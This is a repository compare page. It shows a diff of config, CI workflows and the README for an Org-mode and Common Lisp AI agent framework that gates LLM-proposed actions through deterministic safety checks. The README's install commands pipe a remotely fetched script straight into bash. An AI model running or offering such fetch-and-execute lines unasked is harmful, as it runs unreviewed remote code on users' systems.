amr/passepartout
1
0
Fork 0
Code Issues 15 Pull Requests 1 Actions Packages Projects Releases Wiki Activity

Compare commits

base: amr:v0.3.0
Branches Tags
amr:main amr:feature/v0.8.0-minibuffer amr:refactor/cl-tty-tui amr:feat/dispatcher-rename
amr:v0.7.1 amr:test-hook-block3 amr:test-hook-block2 amr:test-hook-block amr:v0.7.0 amr:v0.6.0 amr:v0.5.0 amr:v0.4.0 amr:v0.3.3 amr:v0.3.2 amr:v0.3.1 amr:v0.3.0 amr:v0.2.1 amr:v0.1.0
..
compare: amr:f0d27ac9f307e7d770ce69d85a3a02d707593b9a
Branches Tags
amr:main amr:feature/v0.8.0-minibuffer amr:refactor/cl-tty-tui amr:feat/dispatcher-rename
amr:v0.7.1 amr:test-hook-block3 amr:test-hook-block2 amr:test-hook-block amr:v0.7.0 amr:v0.6.0 amr:v0.5.0 amr:v0.4.0 amr:v0.3.3 amr:v0.3.2 amr:v0.3.1 amr:v0.3.0 amr:v0.2.1 amr:v0.1.0

5 Commits
v0.3.0 ... f0d27ac9f3

Author SHA1 Message Date
Amr Gharbeia
f0d27ac9f3 RELEASE: Final semantic reorganization and artifact cleanup v0.1.0
Some checks failed
Deploy-Agent-V15-Stdin / JOB-V15-STDIN (push) Failing after 3s
Details 
- Moved Docker assets to infrastructure/docker.
- Purged dated/redundant docs and non-literated scripts.
- Renamed legacy test artifacts.
- Consolidated empty infrastructure targets.
 2026-04-21 13:12:13 -04:00
Amr Gharbeia
8e48d057fa CHORE: Fix infrastructure folder naming artifacts
Some checks failed
Deploy-Agent-V15-Stdin / JOB-V15-STDIN (push) Failing after 2s
Details
2026-04-21 12:46:57 -04:00
Amr Gharbeia
94a8a0ab0b RELEASE: Finalize Semantic Restructuring v0.1.0
Some checks failed
Deploy-Agent-V15-Stdin / JOB-V15-STDIN (push) Failing after 3s
Details 
- Folders: literate->harness, src->library, system->environment, scripts->interfaces.
- Synchronized all :tangle paths and system definitions.
- Hardened .gitignore for binary and log artifacts.
- Consolidated all documentation into docs/.
 2026-04-21 12:41:50 -04:00
Amr Gharbeia
dd3873cd5e DOCS: Systematic overhaul of Literate source (Granularity & Technical Reasoning)
Some checks failed
Deploy-Agent-V15-Stdin / JOB-V15-STDIN (push) Failing after 2s
Details
2026-04-21 11:49:58 -04:00
Amr Gharbeia
f74ce04045 DOCS: Refine roadmap and expand Anatomy. RENAM: Rename Emacs package to opencortex.el. CLEAN: Purge legacy scripts.
Some checks failed
Deploy-Agent-V15-Stdin / JOB-V15-STDIN (push) Failing after 4s
Details
2026-04-21 11:04:41 -04:00
167 changed files with 6510 additions and 19983 deletions
Expand all files Collapse all files

107
.env.example
View File

@@ -1,88 +1,50 @@
# passepartout: Environment Configuration Template
# Copy this to .env and fill in your values
# =============================================================================
# IDENTITY
# =============================================================================
MEMEX_USER="YourName"
MEMEX_ASSISTANT="AgentName"
# =============================================================================
# LLM PROVIDERS (OpenRouter recommended as primary)
# =============================================================================
OPENROUTER_API_KEY="your_openrouter_key_here"
OPENAI_API_KEY="your_openai_key_here"
ANTHROPIC_API_KEY="your_anthropic_key_here"
GROQ_API_KEY="your_groq_api_key_here"
# opencortex: Neural Engine Configuration
# Core LLM Providers
LLAMACPP_ENDPOINT="http://localhost:8080"
GEMINI_API_KEY="your_gemini_key_here"
DEEPSEEK_API_KEY="your_deepseek_key_here"
NVIDIA_API_KEY="your_nvidia_nim_key_here"
ANTHROPIC_API_KEY="your_anthropic_key_here"
OPENAI_API_KEY="your_openai_key_here"
GROQ_API_KEY="your_groq_key_here"
OPENROUTER_API_KEY="your_openrouter_key_here"
# Cascade order (first available provider wins)
# Default (if unset): openrouter,openai,anthropic,groq,gemini-api,deepseek,nvidia
PROVIDER_CASCADE=deepseek,openrouter,openai,anthropic,groq,gemini,nvidia
# Legacy/Default (Optional)
LLM_API_KEY="your_api_key_here"
LLM_ENDPOINT="https://generativelanguage.googleapis.com/v1beta/models/gemini-pro:generateContent"
# =============================================================================
# LOCAL LLM (generic OpenAI-compatible endpoint)
# =============================================================================
# Set this to the base URL of any local OpenAI-compatible server
# (llama.cpp, Ollama, vLLM, LM Studio, etc.)
LOCAL_BASE_URL="localhost:8080"
# Ollama host (legacy: falls back to LOCAL_BASE_URL if not set)
OLLAMA_HOST="localhost:11434"
# =============================================================================
# VECTOR EMBEDDINGS (semantic search)
# =============================================================================
EMBEDDING_PROVIDER="hashing" # "hashing" (local, no deps), "local", or "openai"
EMBEDDING_MODEL="nomic-embed-text" # model name for embeddings
EMBEDDING_BASE_URL="https://api.openai.com/v1" # for :openai provider
# =============================================================================
# MESSAGING GATEWAYS (optional)
# =============================================================================
# Communication Gateways
TELEGRAM_BOT_TOKEN="your_telegram_bot_token_here"
SIGNAL_ACCOUNT_NUMBER="+1..."
# =============================================================================
# DAEMON CONFIGURATION
# =============================================================================
# System 2: Symbolic Constraints
SAFETY_BLOCK_SHELL=true
GTD_ENFORCE_INTEGRITY=true
# Harness Protocol Daemon Configuration
ORG_AGENT_DAEMON_PORT=9105
ORG_AGENT_WEB_PORT=8080
DAEMON_HOST="0.0.0.0"
HEARTBEAT_INTERVAL=60
DAEMON_SLEEP_INTERVAL=3600
# Outbound Communication Defaults
DEFAULT_ACTUATOR="cli"
SILENT_ACTUATORS="cli,system-message,emacs"
# =============================================================================
# SECURITY
# =============================================================================
SAFETY_BLOCK_SHELL=true
PROTOCOL_ENFORCE_HMAC=false
PROTOCOL_HMAC_SECRET="change-this-to-a-secure-random-string"
# Core Skill Requirements
# A comma-separated list of skill Org files (without extension) required for boot.
MANDATORY_SKILLS="org-skill-policy,org-skill-bouncer"
# Privacy filter tags: comma-separated list of tags that mark content as private.
# Files/headings tagged with any of these will be filtered from LLM context.
# Default: @personal
PRIVACY_FILTER_TAGS="@personal,@health,@finance"
# =============================================================================
# BOOTSTRAP
# =============================================================================
MANDATORY_SKILLS="security-policy,security-dispatcher"
# =============================================================================
# CONTEXT / MEMORY
# =============================================================================
# Context Management & Peripheral Vision
CONTEXT_SEMANTIC_THRESHOLD=0.75
CONTEXT_LOG_LIMIT=20
# =============================================================================
# MEMEX STRUCTURE
# =============================================================================
# Memex Integration
# Inside Docker, /app/ is the root for consolidated notes
MEMEX_DIR="$HOME/memex"
ZETTELKASTEN_DIR="$HOME/memex/notes"
SKILLS_DIR="skills/"
# PARA Structure (Consolidated)
INBOX_DIR="$HOME/memex/inbox"
DAILY_DIR="$HOME/memex/daily"
PROJECTS_DIR="$HOME/memex/projects"
@@ -90,4 +52,15 @@ AREAS_DIR="$HOME/memex/areas"
RESOURCES_DIR="$HOME/memex/resources"
ARCHIVES_DIR="$HOME/memex/archives"
SYSTEM_DIR="$HOME/memex/system"
LLM_REQUEST_TIMEOUT=30
# Identity Configuration
MEMEX_USER="YourName"
MEMEX_ASSISTANT="AgentName"
RECIPIENT_ID="+1..." # For Signal/Telegram delivery
# Harness Protocol Integrity & Authentication (HMAC-SHA256)
PROTOCOL_ENFORCE_HMAC=false
PROTOCOL_HMAC_SECRET="change-this-to-a-secure-random-string"
# Neural Reasoning Cascade Order (Comma-separated keywords)
PROVIDER_CASCADE="openrouter,openai,anthropic,groq,gemini-api,ollama"

42
.gitea/workflows/deploy.yml
View File

@@ -1,24 +1,44 @@
name: Deploy (Gitea)
name: Deploy-Agent-V15-Stdin
on:
push:
branches:
- main
jobs:
deploy:
JOB-V15-STDIN:
runs-on: debian-latest
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Checkout Code
uses: actions/checkout@v3
- name: Install Docker CLI
run: |
apt-get update && apt-get install -y docker.io docker-compose
echo "Installing Docker CLI..."
apt-get update
apt-get install -y docker.io docker-compose
- name: Build and deploy via Docker Compose
- name: Deploy via Host Docker Socket (Stdin Method)
run: |
cd infrastructure/docker
docker-compose -p passepartout down
docker-compose -p passepartout build --no-cache passepartout
docker-compose -p passepartout up -d --force-recreate passepartout
echo "Piping local compose file to host Docker daemon..."
# We read the compose file from the checked-out code in the runner,
# but we tell the host Docker daemon that the "project directory" is /memex/projects/opencortex.
# The host daemon will use its own /memex files to build the image.
cat deploy/docker/docker-compose.yml | docker-compose \
-p opencortex \
--project-directory /memex/projects/opencortex \
-f - \
down
cat deploy/docker/docker-compose.yml | docker-compose \
-p opencortex \
--project-directory /memex/projects/opencortex \
-f - \
build --no-cache opencortex
cat deploy/docker/docker-compose.yml | docker-compose \
-p opencortex \
--project-directory /memex/projects/opencortex \
-f - \
up -d --force-recreate opencortex

25
.github/ISSUE_TEMPLATE/bug_report.yml vendored
View File

@@ -1,25 +0,0 @@
name: Bug Report
about: Report something that is not working as expected.
---
**Describe the bug**
A clear description of what went wrong.
**To Reproduce**
Steps to reproduce the behavior:
1. Go to '...'
2. Run '...'
3. See error
**Expected behavior**
What you expected to happen.
**Environment:**
- OS: [e.g. Debian 12, macOS 14]
- SBCL version: [e.g. 2.4.0]
- OpenCortex version: [e.g. v0.1.0]
**Additional context**
Any other relevant information (logs, stack traces, etc.)

22
.github/ISSUE_TEMPLATE/feature_request.yml vendored
View File

@@ -1,22 +0,0 @@
name: Feature Request
about: Suggest a new feature or enhancement.
---
**Describe the problem**
What problem does this feature solve?
**Describe the ideal solution**
A clear description of what you want to happen.
**Describe alternatives considered**
Any alternative solutions you've considered.
**Additional context**
Any other relevant context (mockups, related issues, etc.)
**Implementation suggestion**
(Optional) If you have thoughts on how to implement this in pure Common Lisp + Org-mode:
- Which skill should own this?
- Should it be a =def-cognitive-tool=, a new skill, or an enhancement to an existing one?

87
.github/workflows/lint.yml vendored
View File

@@ -1,87 +0,0 @@
name: Lint
on:
push:
tags:
- 'v*'
workflow_dispatch:
jobs:
lint:
runs-on: ubuntu-latest
env:
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: true
steps:
- uses: actions/checkout@v4
- name: Install dependencies
run: |
sudo apt-get update && sudo apt-get install -y --no-install-recommends \
git emacs-nox
- name: Check for forbidden patterns
run: |
! grep -r "json\." --include="*.lisp" . && \
echo "OK: No JSON in Lisp files"
- name: Check skills have lisp source blocks
run: |
FAIL=0
for f in skills/*.org; do
if ! grep -q "#+begin_src lisp" "$f"; then
echo "WARNING: $f has no lisp blocks"
FAIL=1
fi
done
find . -name "*.org" -path "*/skills/*" -exec grep -L "#+begin_src lisp" {} \; | \
grep -v "CLA\|CONTRIBUTING\|CHANGELOG\|README\|USER_MANUAL" || true
echo "OK: All skills have lisp blocks"
- name: Verify each .lisp has a corresponding .org source
run: |
FAIL=0
for f in harness/*.lisp tests/*.lisp; do
[ -f "$f" ] || continue
org="${f%.lisp}.org"
[ -f "$org" ] && continue
base=$(basename "$f" .lisp)
# Check if generated from a parent org via :tangle
parent="${base%-tests}.org"
parent="${parent%-validator}.org"
parent="${parent%-client}.org"
if [ -f "harness/$parent" ] || [ -f "skills/$parent" ]; then
: # generated from parent org via :tangle
elif grep -q ":tangle.*$(basename "$f")" harness/*.org skills/*.org 2>/dev/null; then
: # :tangle reference found in another org
else
echo "WARNING: $f has no corresponding .org source"
FAIL=1
fi
done
for f in skills/*.lisp; do
[ -f "$f" ] || continue
org="${f%.lisp}.org"
if [ ! -f "$org" ]; then
echo "ERROR: $f has no .org source"
FAIL=1
fi
done
[ "$FAIL" = 0 ] && echo "OK: All .lisp files have .org sources"
- name: Check literate granularity (one function per block)
run: |
for f in skills/*.org; do
blocks=$(grep -c "^[[:space:]]*(defun " "$f" 2>/dev/null || true)
srcblocks=$(grep -c "#+begin_src lisp" "$f" 2>/dev/null || true)
if [ "$blocks" -gt "$srcblocks" ] && [ "$srcblocks" -gt 0 ]; then
echo "WARNING: $f has $blocks defuns but only $srcblocks src blocks"
fi
done
echo "OK: Granularity check complete"
- name: Check README has quick install
run: |
grep -q "curl.*passepartout" README.org && \
echo "OK: Quick install in README" || \
echo "WARNING: Quick install curl command not found in README"

31
.github/workflows/release.yml vendored
View File

@@ -1,31 +0,0 @@
name: Release
on:
push:
tags:
- 'v*'
jobs:
release:
runs-on: ubuntu-latest
permissions:
contents: write
steps:
- uses: actions/checkout@v4
- name: Create tarball
run: |
git archive --format=tar.gz --prefix=passepartout-$(git describe --tags) HEAD -o passepartout.tar.gz
- name: Create zipball
run: |
git archive --format=zip --prefix=passepartout-$(git describe --tags) HEAD -o passepartout.zip
- name: Upload to GitHub Release
uses: softprops/action-gh-release@v2
with:
files: |
passepartout.tar.gz
passepartout.zip
generate_release_notes: true

100
.github/workflows/test.yml vendored
View File

@@ -1,100 +0,0 @@
name: Tests
on:
push:
tags:
- 'v*'
workflow_dispatch:
jobs:
test:
runs-on: ubuntu-latest
env:
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: true
steps:
- uses: actions/checkout@v4
- name: Install system dependencies
run: |
sudo apt-get update && sudo apt-get install -y --no-install-recommends \
sbcl emacs-nox git curl socat rlwrap
- name: Install Quicklisp
run: |
curl -fsSL https://beta.quicklisp.org/quicklisp.lisp -o /tmp/quicklisp.lisp
sbcl --noinform --non-interactive \
--load /tmp/quicklisp.lisp \
--eval '(quicklisp-quickstart:install)'
rm -f /tmp/quicklisp.lisp
- name: Load and verify harness
run: |
export OC_DATA_DIR="$PWD/.github-test"
mkdir -p "$OC_DATA_DIR/harness" "$OC_DATA_DIR/tests"
# Tangle harness files into test directory
mkdir -p /tmp/oc-build
cp harness/*.org "$OC_DATA_DIR/harness/"
cd "$OC_DATA_DIR/harness" && for f in *.org; do
if command -v emacs; then
emacs -Q --batch --eval "(require 'org)" \
--eval "(setq org-confirm-babel-evaluate nil)" \
--eval "(org-babel-tangle-file \"$f\")" 2>/dev/null || true
fi
done
rm -f *.org
cd "$OLDPWD"
# Copy skills, tangle, verify
mkdir -p "$OC_DATA_DIR/skills"
cp skills/*.org "$OC_DATA_DIR/skills/"
cd "$OC_DATA_DIR/skills" && for f in *.org; do
if command -v emacs; then
emacs -Q --batch --eval "(require 'org)" \
--eval "(setq org-confirm-babel-evaluate nil)" \
--eval "(org-babel-tangle-file \"$f\")" 2>/dev/null || true
fi
done
rm -f *.org
cd "$OLDPWD"
- name: Load passepartout and initialize skills
run: |
export OC_DATA_DIR="$PWD/.github-test"
sbcl --non-interactive \
--eval '(load (merge-pathnames "quicklisp/setup.lisp" (user-homedir-pathname)))' \
--eval "(push (truename \"$PWD/\") asdf:*central-registry*)" \
--eval "(push (truename \"$OC_DATA_DIR/\") asdf:*central-registry*)" \
--eval '(ql:quickload :passepartout :silent t)' \
--eval "(setf (uiop:getenv \"OC_DATA_DIR\") \"$OC_DATA_DIR\")" \
--eval '(passepartout:initialize-all-skills)' \
--eval "(let ((n (hash-table-count passepartout:*skills-registry*))) (format t \"~%Skills loaded: ~a~%\" n) (unless (>= n 20) (sb-ext:exit :code 1)))"
- name: Daemon smoke test
run: |
export OC_DATA_DIR="$PWD/.github-test"
sbcl --non-interactive \
--eval '(load (merge-pathnames "quicklisp/setup.lisp" (user-homedir-pathname)))' \
--eval "(push (truename \"$PWD/\") asdf:*central-registry*)" \
--eval "(push (truename \"$OC_DATA_DIR/\") asdf:*central-registry*)" \
--eval "(ql:quickload '(:passepartout :croatoan))" \
--eval "(setf (uiop:getenv \"OC_DATA_DIR\") \"$OC_DATA_DIR\")" \
--eval '(passepartout:main)' \
> /tmp/oc-daemon.log 2>&1 &
DAEMON_PID=$!
for i in $(seq 1 20); do
if ss -tln 2>/dev/null | grep -q 9105; then
echo "✓ Daemon ready on port 9105"
# Read the initial handshake via a short TCP connection
timeout 3 bash -c 'exec 3<>/dev/tcp/localhost/9105; head -c 200 <&3' 2>/dev/null | grep -q "handshake" && \
echo "✓ Protocol handshake received"
break
fi
sleep 1
done
kill $DAEMON_PID 2>/dev/null || true
wait $DAEMON_PID 2>/dev/null || true
echo "✓ Daemon smoke test passed"

13
.gitignore vendored
View File

@@ -1,14 +1,11 @@
.env
passepartout-server
opencortex-server
\$MEMEX_DIR/
*.log
*~
\#*#
passepartout-tui
opencortex-tui
test_input.txt
# Generated artifacts (source of truth is .org)
/skills/*.lisp
/tmp/*.lisp
*.fasl
docs/#DESIGN_DECISIONS.org# docs/DESIGN_DECISIONS.org~
opencortex-server
environment/logs/
library/gen/

224
README.org
View File

@@ -1,147 +1,107 @@
#+TITLE: Passepartout — The Plain-Text AI Assistant That Never Gets More Expensive
#+AUTHOR: Amr
#+FILETAGS: :passepartout:ai:assistant:
#+TITLE: OpenCortex: The Conductor of your Life Stack
#+HTML: <div style="display: flex; gap: 8px; flex-wrap: wrap; margin-bottom: 1em;">
#+HTML: <img src="https://img.shields.io/badge/version-v0.3.0-blue?style=flat-square">
#+HTML: <img src="https://img.shields.io/badge/license-AGPLv3-green?style=flat-square">
#+HTML: <img src="https://img.shields.io/badge/Lisp-Common%20Lisp-forestgreen?style=flat-square">
#+HTML: <img src="https://img.shields.io/badge/docs-Org--mode-darkgreen?style=flat-square">
#+HTML: </div>
*opencortex* is a minimalist, extensible AI agent framework designed to manage and continuously organize your personal knowledge base. It transforms a static collection of plaintext notes into a live, programmable [[https://en.wikipedia.org/wiki/Memex][Memex]]—an automated, personalized memory system where humans and AI collaborate in the exact same workspace.
Passepartout is an AI assistant that runs in your terminal. It reads and writes your Org-mode files, executes tasks through a verified safety gate, and works fully offline with local LLMs. Every action the LLM proposes is checked by nine deterministic safety gates before it touches a file, runs a command, or sends a message. The LLM suggests. The gate decides.
Everything it knows is a folder of plain text files that you own.
* The Problem with Current AI Agents
*Install:*
The current ecosystem of AI agents (typically built in Python or TypeScript) is overwhelmingly built on architectural choices that prioritize rapid prototyping over long-term reliability, security, and self-modification:
1. *The Format Trap (Markdown & JSON):* Most agents force a painful translation layer. Humans write in Markdown, which lacks a strict Abstract Syntax Tree (AST)—a rigorous, nested representation of data that machines need to parse context reliably. Machines, in turn, output JSON, which is hostile for human thought and note-taking. The result is a fractured workspace where the agent's memory and the human's memory are fundamentally incompatible.
2. *The Language Trap (Python & TypeScript):* Python and TypeScript are fantastic for gluing together APIs, but they are poorly suited for an agent that needs to safely read, write, and execute its own code at runtime. Their underlying structures are complex and opaque, making autonomous self-editing incredibly brittle and dangerous.
3. *The Probabilistic Trap:* Almost all modern agents rely entirely on /probabilistic/ reasoning. We ask an AI model to guess a shell command or write a Python script, and then blindly pipe that output to a terminal. Without a rigorous, /deterministic/ layer to formally verify the model's proposals before execution, these systems are fundamentally unsafe.
* The Vision: A Modern, Homoiconic Memex
opencortex abandons these fragile paradigms by returning to first principles and embracing two historically powerful technologies: *Org-mode* and *Common Lisp*.
** 1. Org-mode: The Universal Language
Instead of wrestling with Markdown parsers or hiding data in opaque databases, opencortex mandates that *Org-mode is the native AST for both humans and machines.*
Org-mode is unique because it seamlessly brings together human-readable prose, structured metadata (properties and tags), lifecycle states (TODO/DONE), and executable code blocks into a single plain-text file. The code is the data, and the data is the interface. When the agent "remembers" a fact or schedules a task, it writes an Org headline. You read exactly what the agent reads.
** 2. Common Lisp: The Engine of Self-Modification
There is a beautiful irony to opencortex: Lisp was invented in 1958 specifically to achieve Artificial Intelligence, and it has been waiting nearly 70 years for /this exact moment/ in computing history.
Lisp possesses a unique property called *Homoiconicity*: the primary representation of the program is also a data structure (nested lists) within the language itself. Because Lisp code /is/ Lisp data, it is trivially easy for an AI to generate, manipulate, and safely evaluate new tools at runtime. This makes Lisp the ultimate, un-brittle language for a "self-writing" agent.
** 3. The Probabilistic-Deterministic Loop
opencortex does not let AI models touch your system directly. Instead, it splits cognition into two distinct engines:
- *The Probabilistic Engine (Neural/Dynamic):* Provides semantic understanding and dynamic reasoning. It utilizes a **Dynamic LLM Cascade** (OpenRouter, Ollama, Anthropic) to ensure the agent always has a "brain," falling back to local models if cloud services are unavailable.
- *The Deterministic Engine (Logic/Safety):* Intercepts LLM proposals and formally verifies them against your security rules (the "Bouncer" pattern) before execution.
* Architecture: Thin Harness, Fat Skills
To guarantee long-term stability, opencortex enforces a strict architectural boundary inspired by the "thin harness, fat skills" philosophy.
** The Minimalist Harness
The Lisp microkernel is a thin, unbreakable harness strictly responsible for:
1. *The Memory:* Maintaining the live graph of your Memex in RAM.
2. *The Unified Envelope:* A protocol-agnostic communication layer that ensures TUI, CLI, and remote gateways (Signal, Telegram) are treated as equal citizens.
3. *The Metabolic Cycle:* Moving signals through the Perceive -> Reason -> Act pipeline.
** Literate, Single-File Skills
In opencortex, a Skill is simply a *single .org file* containing everything: the documentation, the AI instructions, and the deterministic Lisp code. When the system boots, it compiles these skills directly into the live Lisp image.
** The Anatomy: Three Data Stores
1. *The Linguistic Substrate (The Memex):* A collection of plain-text Org-mode files on your local disk. This is the ultimate Source of Truth. Because it is plaintext, it is human-editable, version-controllable, and platform-independent. In OpenCortex, your notes, tasks, and code aren't just "data"—they are the agent's actual configuration and memory.
2. *The Lisp Memory (RAM):* A live, homoiconic graph of Lisp objects. Upon boot, OpenCortex ingests your Memex files and transforms them into a high-performance in-memory graph.
- *Why RAM?* Traditional databases require expensive joins and context-switching to traverse complex associations. By keeping the entire graph in RAM, OpenCortex can perform semantic traversals and logical inferences at native Lisp speeds.
- *Homoiconicity:* Since the program (Lisp) and the data (Lisp objects) share the same structure, the agent can manipulate its own memory as easily as it manipulates its own code.
3. *The Telemetry Store (External):* A high-volume database for sub-deterministic sensory data (system metrics, sensor logs) that the agent monitors and distills into Org-mode "insights."
** The Psychology: The 2x2 Cognitive Matrix
| | Probabilistic (Neural/Intuitive) | Deterministic (Deterministic/Logical) |
| Foreground (Active) | *The Interface:* Fast AI models for conversation and multimodal ingestion. | *The Steward:* Lisp engine that safely retrieves data and enforces security rules. |
| Background (Passive) | *The Editor:* Deep AI models finding patterns while you sleep. | *The Librarian:* Lisp engine maintaining data integrity and filing notes. |
** The Physiology: Five Core Processes
1. *Perception:* Automatically vectorizes your input and sets the "Foreground Focus."
2. *Reasoning:* Uses Lisp-native logic to reconcile contradictions.
3. *Distillation:* Background loop extracting concepts into permanent, evergreen notes (The Scribe).
4. *Reflection:* Heartbeat-driven process maintaining structural health (The Gardener).
5. *Sensation:* Monitors telemetry data and flags significant anomalies.
* Quick Start (The Zero-to-One Experience)
OpenCortex can be installed and booted with a single command:
#+begin_src bash
curl -fsSL https://raw.githubusercontent.com/amrgharbeia/passepartout/main/passepartout | bash -s configure
curl -sSL https://raw.githubusercontent.com/gharbeia/opencortex/main/opencortex.sh | bash -s -- setup
#+end_src
This installs dependencies (SBCL, Quicklisp), tangles the Org source files, and runs the setup wizard for LLM providers. Requires curl and sudo access for package installation.
* What Makes Passepartout Different
** Every action is verified, not trusted.
Most AI agents add safety checks as an afterthought — prompt-based guardrails that consume LLM tokens and can be evaded with clever phrasing. Passepartout inverts this: nine deterministic safety gates run in pure Lisp between the LLM's proposal and execution. Secret scanning checks for API key leaks. Path protection blocks reads and writes to sensitive files. Shell safety detects destructive commands and injection vectors. Network exfiltration detection flags unauthorized outbound connections. Lisp syntax validation catches malformed code before it writes to disk.
Every gate costs 0 LLM tokens. Every gate is a Common Lisp function, not a prompt. Every gate runs for every action, unconditionally.
If a gate blocks a proposal, the rejection feedback goes back to the LLM so it can self-correct and try again. If the deterministic Dispatcher is uncertain, it creates a Flight Plan — a human-readable Org buffer you review and approve. The human decides. The Dispatcher learns from your decision and writes a rule for next time.
** The more you use it, the cheaper it gets.
Passepartout has a downward cost curve. This runs counter to every other AI agent.
Here is why. When you use Passepartout, the Dispatcher observes every blocked action and every human-approved exception. Each decision becomes a deterministic rule. A file write you approved once becomes an allowed path pattern. A shell command you denied becomes a permanent block. Each hardened rule means one fewer LLM call next time.
Meanwhile, the foveal-peripheral context model prunes your [[https://en.wikipedia.org/wiki/Memex][memex]] — your personal knowledge base, a term coined by Vannevar Bush in 1945 for a mechanised private library — to the relevant Org subtrees before sending anything to the LLM. The agent does not load your entire knowledge base, or even the entire file like agents that use Markdown do — it loads precisely the headlines that matter. Less context in, fewer tokens out.
Other agents grow more expensive over time (context histories accumulate, safety instructions grow). Passepartout's cost curve bends down.
** It edits its own source code. Verified before execution.
Passepartout can read its own Org-mode source files, propose changes, and hot-reload skills into the running image without restarting. The skill engine loads every skill into a jailed Common Lisp package, validates its syntax, tests its trigger function in isolation, and only then promotes it to the live registry.
Core pipeline files — the Perceive-Reason-Act loop, the Merkle-tree memory, the Dispatcher gate stack — are path-protected. The agent could modify its own brain stem, but it cannot do this without human review. Skills and system modules expand freely. The core stays small, protected, and auditable.
No other AI agent can modify its own reasoning engine and reload the change while it is running. This is not a planned feature. It works today.
** Your memory and your tasks are the same format. Org-mode.
Passepartout makes a bet that most systems consider too expensive: humans and machines should share the same file format. That format is Org-mode.
Your notes, your calendar, your project plans, the agent's memory, and the agent's own source code are all the same thing: Org files in ~/memex/. =headline trees. Property drawers for metadata. Source blocks for code. TODO keywords for task state. Tags for categorization.
When you write a TODO in Emacs, the agent sees it immediately as a native data structure and acts on it. When the agent creates a note, you can open it in any text editor and read it. There is no import/export step, no hidden database (except maybe for indexing), no format conversion. If Passepartout stops existing tomorrow, your data survives in plain text, readable in 2040.
** Works offline. Works locally. The safety doesn't stop.
You can run Passepartout entirely on your hardware with a local LLM via Ollama or some other inference engine. No internet connection required. But unlike most local AI tools, offline mode does not mean safety-last. The nine deterministic safety gates are pure Common Lisp — they run identically whether you are online or off. The Merkle-tree memory with snapshot rollback is in-process, 0 milliseconds, 0 network calls. Semantic retrieval runs on in-image vectors, 0 LLM tokens per query.
Cloud providers (OpenRouter, OpenAI, Anthropic, Groq, Gemini, DeepSeek, NVIDIA NIM...) are optional add-ons. When you use them, the model-tier router automatically selects the cheapest provider that matches your task's complexity. Privacy-tagged content stays local even when cloud providers are configured.
* How It Works
Every signal — a chat message, a heartbeat tick, a file change notification — moves through three stages:
#+begin_example
Signal → Perceive → Reason → Act
normalize LLM proposes dispatch approved action
gates verify tool output feeds back
#+end_example
*Perceive* normalizes raw input from any gateway (TUI, CLI, Telegram, Signal) into a uniform signal plist. Buffer updates from Emacs ingest Org AST nodes into memory. Heartbeat ticks trigger background maintenance. HITL commands intercept before the LLM is invoked.
*Reason* calls the LLM to generate a proposal, then runs the proposal through every registered deterministic gate — sorted by priority, highest first. If a gate rejects (shell command blocked, path protected, secret exposed), the rejection trace feeds back to the LLM for self-correction, up to three retries. If a gate requests human approval, the action becomes a Flight Plan awaiting your decision. If all gates pass, the action proceeds to Act.
*Act* dispatches the approved action to the correct actuator: shell commands go to the shell actuator (with timeout and output limiting), tool invocations go to the cognitive tool registry, system commands trigger internal harness operations, and chat responses route to the TUI or messaging gateway. Each stage can feed back into Perceive — a tool output becomes the next perception.
This pipeline is not a single-threaded bottleneck. The priority-queued signal processor (v0.5.0 roadmap) preempts background maintenance for user interactions. The Merkle-tree memory supports concurrent reads and writes through versioned snapshots — multiple signals can process simultaneously without corrupting shared state.
Deep detail: [[file:docs/ARCHITECTURE.org][Architecture]] for the full code map and pipeline flow, [[file:docs/DESIGN_DECISIONS.org][Design Decisions]] for the rationale behind every architectural choice.
* Current Capabilities
Features marked =Stable= ship in the current release. Features marked =Planned= are scheduled in the [[file:docs/ROADMAP.org][Roadmap]].
| Capability | Status | Since | Notes |
|----------------------------------+----------+---------+----------------------------------------------------------------------|
| 9-vector deterministic safety | Stable | v0.2.0 | Secrets, paths, shells, network, lisp, privacy |
| Foveal-peripheral context model | Stable | v0.2.0 | Sends relevant subtrees, not all files |
| Merkle-tree memory + snapshots | Stable | v0.2.0 | Integrity hashing, copy-on-write rollback |
| Self-editing + hot-reload | Stable | v0.2.0 | Agent reads, modifies, reloads its own code |
| 8 provider cascade | Stable | v0.1.0 | OpenRouter, OpenAI, Anthropic, Groq, Gemini, DeepSeek, NVIDIA, local |
| Terminal UI (Croatoan) | Stable | v0.2.0 | Scrollback, history, themes, commands, tab completion |
| Skill engine (20+ skills) | Stable | v0.1.0 | Jailed loading, topological sort, hot-reload |
| Human-in-the-Loop approval | Stable | v0.3.0 | Flight Plan workflow for blocked actions |
| Model-tier routing | Stable | v0.3.0 | Sends simple tasks to cheaper models |
| Event orchestrator (hooks + cron) | Stable | v0.3.0 | Org-based hook and cron dispatch |
| Context manager (project scoping) | Stable | v0.3.0 | Push/pop focus, persist across restart |
| Semantic retrieval (embeddings) | Stable | v0.3.0 | In-image vector lookup, 0 LLM tokens |
| TUI gate trace + focus map | Planned | v0.4.0 | Visual safety trace + what the agent is looking at |
| Emacs bridge | Planned | v0.4.0 | Native Emacs client over the wire protocol |
| Self-build safety boundary | Planned | v0.4.0 | Core files path-protected, Flight Plan required |
| Discord + Slack gateways | Planned | v0.4.0 | Messaging alongside Telegram and Signal |
| Token economics + cost tracking | Planned | v0.5.0 | Per-session cost counter, prompt caching, budget enforcement |
| Priority-queue signal processing | Planned | v0.6.0 | Preempts background for user interactions |
| MVCC memory concurrency | Planned | v0.6.1 | Concurrent reads/writes on Merkle tree |
| Structured output enforcement | Planned | v0.6.2 | Plist validation with retry and feedback |
| Streaming responses | Planned | v0.6.3 | Live output in TUI, interrupt-and-redirect |
| MCP-native tool ecosystem | Planned | v0.7.0 | 50+ tools from the MCP ecosystem |
| Voice gateway | Planned | v0.7.3 | Speech-to-text + text-to-speech via Whisper / ElevenLabs |
| Task planning (tree DAG) | Planned | v0.8.0 | Org headline task trees, branch pruning |
| Skill creator | Planned | v0.8.0 | LLM drafts skills from natural language, verified before load |
| Computer use / vision | Planned | v0.9.0 | Screenshot capture, UI interaction |
| SWE-bench evaluation harness | Planned | v0.9.0 | Automated benchmark scoring with Org trajectory audit |
| Consensus loop (multi-provider) | Planned | v0.10.0 | Parallel inference, disagreement detection |
| GTD integration | Planned | v0.10.0 | Full capture-clarify-organize-reflect-engage |
| Deep Emacs integration | Planned | v0.10.0 | Org-agenda, clock time, refile, archive |
* Quick Start
